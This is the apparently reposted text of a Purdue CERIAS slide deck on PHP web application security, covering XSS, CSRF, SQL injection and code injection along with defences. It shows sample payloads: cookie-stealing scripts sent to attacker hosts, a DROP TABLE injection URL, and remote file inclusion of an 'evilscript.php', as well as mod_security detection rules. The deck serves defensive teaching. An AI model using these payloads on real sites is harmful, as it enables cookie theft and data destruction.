Real-World Web App Security

russianmiserableΑσφάλεια

13 Ιουν 2012 (πριν από 5 χρόνια και 9 μέρες)

415 εμφανίσεις

Real-World
Web App Security
Ed Finkler, CERIAS, Purdue University
www.cerias.purdue.edu
What we’ll cover

Current state of open-source web app
security

Common kinds of attacks

Defense techniques
Open-source web app
security

As popularity of open-source web apps
(OSWAs) has increased, so have security
implications

Popular OSWAs have serious security
problems

Most problems are fairly easy to solve, but
developers lack education
How serious a problem?

A big problem
with open-source apps
based on easy-to-learn scripting languages

phpBB
: Very popular free bulletin board app

Approx 5 mil installs (according to unscientific
Google search)

NIST NVD: 32 vulnerabilities since Dec 31 2004
(including Santy worm)
How serious a problem?

PHP-NUKE
: Very popular free "portal"
app

1 million installs

NIST NVD: 37 vulnerabilities since Dec 31
2004
How serious a problem?

Wordpress
: Popular free blog app

About 3 million installs

Generally has a good track record

12 Vulnerabilities since Dec 31 2004

Hit by CAN-2005-1921, vulnerability in
PEAR XML-RPC 1.3.0 and earlier

Also affected: Serendipity, Drupal, egroupware,
MailWatch, TikiWiki, phpWebSite, Ampache, et al
The nature of these
vulnerabilities

Most vulnerabilities are basic mistakes

Shallow learning curve

Client-side vs server-side confusing

Security not a top-priority feature

Often installed by admins with little coding/
security education
“One-click install”
admins
These apps are often installed by people who have no
programming skill, and have no intention of learning it
“One-click install”
admins

Not likely to patch/keep up with
updates

They want it to work, and will generally do
whatever it takes to make it work.

Frequently rely on anecdotal advice (some dude
in a forum: "chmod 777 * - it worked for me!")
Not just a problem with
PHP, but...

PHP in and of itself is not insecure

PHP's accessibility and power means it
drives lots of popular web apps

PHP provides tons of features out of the box

register_globals, allow_url_fopen, etc.

Loose typing

No taint mode
Common types
of web attacks

Spoofed form submission

Spoofed HTTP Requests

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

SQL Injection

Code Injection
Common types
of web attacks

Spoofed form submission

Sending arbitrary data via manipulated forms

Can't expect that a user will utilize the form
you generate

Really easy with GET; slightly more difficult
with POST
Common types
of web attacks

Spoofed HTTP Requests

More powerful version of the spoofed form,
although less convenient

Requires a tool like wget or cURL, or telnet

Very easy to create with libraries like PEAR
HTTP_Request
<?php // retrieving a cookie with HTTP_Request
require_once "HTTP/Request.php";
$req =& new HTTP_Request("
http://funkatron.com
/");
$response = $req->sendRequest();
print_r($req->getResponseCookies());
?>
Common types
of web attacks

Cross-Site Scripting (XSS)

Injecting content of the attacker's choosing
into a site, usually client-side script

Commonly used for stealing cookie data
// post this into, say, a guestbook, and everyone
// visits will get their cookie sent to rickspage.com
// example from Sitepoint.com
<script>location.replace('
http://rickspage.com/?secret=' + document.cookie
)</script>
Common types
of web attacks

Cross-site request forgeries (CSRF)

Common set up: the SRC attribute of an
img tag is set to a script on another site

Only GET-method forms susceptible

HTTP doesn’t differentiate
<img src="
http://forum.example.org/add_post.php?post_subject=CERIAS%
20Sucks&post_message=HAR!!!
" />
// attacker knows of web app that exists at 192.168.0.1
<img src="
http://192.168.0.1/admin/terminate_employee.php?employee_id=123
" />
// 2nd example from shiflett.org
Common types
of web attacks

SQL Injection

Manipulating input sent via any method (GET,
POST, COOKIE) that is passed unfiltered into
an SQL query
http://www.webapp.com/login.php?username=root';DROP%20TABLE%20users--
<?php
$sql = “SELECT userid, password FROM users
WHERE username = ‘{$_GET[‘username’]}’”;
pg_query($conn, $sql);
// oops, I just deleted my users table
?>
Common types
of web attacks

Code injection

Like an SQL injection, but passes other types
of code (PHP script, shell commands, etc)

eval command
(PEAR XML-RPC vuln.)

exec and other shell calls

fopen / include / require
Common types
of web attacks

Code Injection (cont.)
// http://www.0wn3d.com/script.php?page=/etc/passwd
if(isset($page))
{
  include($page); // /etc/passwd is passed to browser
}
// http://www.0wn3d.com/script.php?page=
http://mysite.com/evilscript.php
if(isset($page))
{
  include($page); // if allow_url_fopen is enabled, evilscript.php is executed
}
Defense Strategies

Code-level defenses

Service-level filtering

Web services design
Code-level defenses

Input consideration

What are you expecting?

An integer (is_numeric function in PHP)

A particular format of string (regex)

One of a finite set of options (a switch statement
or if/else)
Code-level defenses

Input consideration (cont.)

How will it be used?

In an SQL query (prepared stmt; escaping func)

In a system call (escapeshellcmd/escapeshellarg)

In a URI (urlencode)

Displayed to user (htmlentities)
Code-level defenses

Input consideration (cont.)

Is anything really safe? (nope.)

Anything coming from outside your code could be
malicious

XML Feeds

Employees (accidently or maliciously)

Spyware on employee machines could conceivably
attack web apps
Code-level defenses

Scripting Practices
(with an emphasis on PHP)
Scripting Practices

Protecting against form spoofing

Limit acceptable input
This defends against
all
attacks, not just form spoofs
switch($_GET['foo']) {
case "bar" :
[do stuff]
break;
case "flazm" :
[do stuff]
break;
default :
die ("invalid input");
}
Scripting Examples

Protecting against form spoofing
(cont.)

Use "shared secrets" to make spoofing harder

a one-time hash stored in session and output to
form as a hidden field. Compare session value to
input value on submission
$secret = md5(uniqid(rand(), true)); // create a hard-to-predict hash
$_SESSION['secret'] = $secret; // store in the session array
[...]
<input type="hidden" name="secret" value="<?php echo $secret; ?>" />
(example from nyphp.org)
Scripting Examples

Protecting against form spoofing

CAPTCHA

Not effective against human attackers, but useful
against spamming and other automated abuse

Checking referrer
not useful

Use multiple approaches in conjunction with
filtering and sensible design
Scripting Practices

Protecting against HTTP spoofs

Essentially the same as form spoofs
Scripting Practices

Protecting against XSS

Strip all potential client-side scripting

Javascript can be embedded in almost any html

Eliminate HTML input entirely

Consider an alternate markup set like BBCode or
Wiki-style formatting
<b onMouseOver=”javascript:location.replace(’
http://1337haX0.rz/
own3d.php?id=
’+document.cookie);”>Hey, look at me!</b>
Scripting Practices

Protecting against XSS (cont.)

PEAR HTML_Safe

Recently added to PEAR library

Parses HTML and “strips down all potentially
dangerous content within HTML”

pear.php.net/package/HTML_Safe
Scripting Practices

Protecting against SQL injection

Escaping functions like
mysql_real_escape_string()

Prepared statements

Escaping is done by the driver
Scripting Practices

Protecting against code injection

Just don’t use eval()

Be careful with file uploads

If at all possible, avoid any use of user-
submitted data in shell calls
Scripting Practices

Protecting against code injection
(cont.)

If absolutely necessary, filter & escape with
extreme prejudice

<?php
$username = $_SERVER['REMOTE_USER']; // using an authentication mechanism
$homedir = "/home/$username";
if ( !preg_match(“/^[a-zA-Z0-9\.]+$/”, $username ) {
die (‘bad username’);
}
// example based on code from php.net and Pascal Meunier
?>
Scripting Practices

Filtering your output

Don’t assume your input filters are perfect --
filter output as well

Assume user-created content is tainted.

htmlspecialchars($str, ENT_QUOTES,
$myCharset)

htmlentities()

urlencode() anything used in URLs
Scripting Practices

Tainted modes

Languages like Perl and Ruby supported “taint
modes”

Interpreter limits what you can do with certain
data based on the source of that data

PHP taint mode is being explored, but not clear
that it will be integrated into the official distro
anytime soon
Service-level filtering

mod_security

A "web application firewall" for Apache

Scans all incoming data, including POST
payloads

Works with HTTP and HTTPS
#strip "drop table" sql command from all incoming data
SecFilter "drop[[:space:]]table"
#disallow javascript in all vars except one called "html"
SecFilter "ARGS|!ARG_html" "<[:space:]*script"
#(examples from onlamp.com)
Service-level filtering

mod_security (cont.)

Makes “chrooting” very easy

Makes changing server signature easy
SecChrootPath /chroot/home/web/apache
# Obscurity isn’t the solution, but it’s not a bad idea
SecServerSignature "Microsoft-IIS/5.0"
Web Services Design

Hardware

Software
Hardware

Firewalls, network structure, etc.
Software

Scripting Environment: PHP

Never turn on register_globals, and never use
an app that requires it

display_errors off, log_errors on

allow_url_fopen off
Software

Scripting Environment: PHP (cont.)

In shared hosting environments:

open_basedir

disable_functions (especially sysexec family)
Software

Web servers

Nothing should be in the document root that
doesn't need to be

cgi-bin should be outside doc root

shared libs, config files (esp. stuff with passwords),
etc should be outside doc root
Software

Web servers (cont.)

Shared host considerations:

Never run PHP as an Apache module on a shared
host; very difficult to make it truly secure

suexec’ed php-cgi

suPHP -- an apache module that simplifies
suexecing considerably
Software

Database servers

"Need to know" access limits impact of sql
injections

Restrict by IP and User in combination

Create "public" users with read-only access

Only connect with write access when necessary
Software

Database servers (cont.)

Use prepared statements

Build logic into DB server, not your web app

Encrypt connections between app and db

Use stored procedures and views
Resources

Tools

LiveHTTPHeaders: livehttpheaders.mozdev.org

Allows you to watch HTTP conversations in Firefox

SiteDigger:
www.foundstone.com/resources/
proddesc/sitedigger.htm

Searches Google cache for vulnerabilites et al

Nitko:
www.cirt.net/code/nikto.shtml

GPL web app security scanner
Resources

Tools (cont.)

WebMaven
: sourceforge.net/projects/webmaven

Security flaw “emulator” for testing discovery
techniques

mod_security: modsecurity.org

suPHP: suphp.org

cassandra.cerias.purdue.edu
Resources

Sites

modsecurity.org

owasp.org

www.cerias.purdue.edu/hotlist

phpsec.org

www.cs.virginia.edu/nguyen/phprevent/ (php taint)
Resources

Sites (cont.)

cgisecurity.com

talks.php.net/index.php/Security

www.phpwact.org/security/
web_application_security

cirt.net
Resources

Sites (cont.)

shiflett.org
The pimp

ilia.ws
Ilia Alshanetsky, developer of FUDform

sklar.com & sklar.com/page/article/owasp-top-ten
David Sklar
Thanks!

Slides are available at
homes.cerias.purdue.edu/coj

Contact me if you’re interested in working on
web app security-related projects at
cojcerias.purdue.edu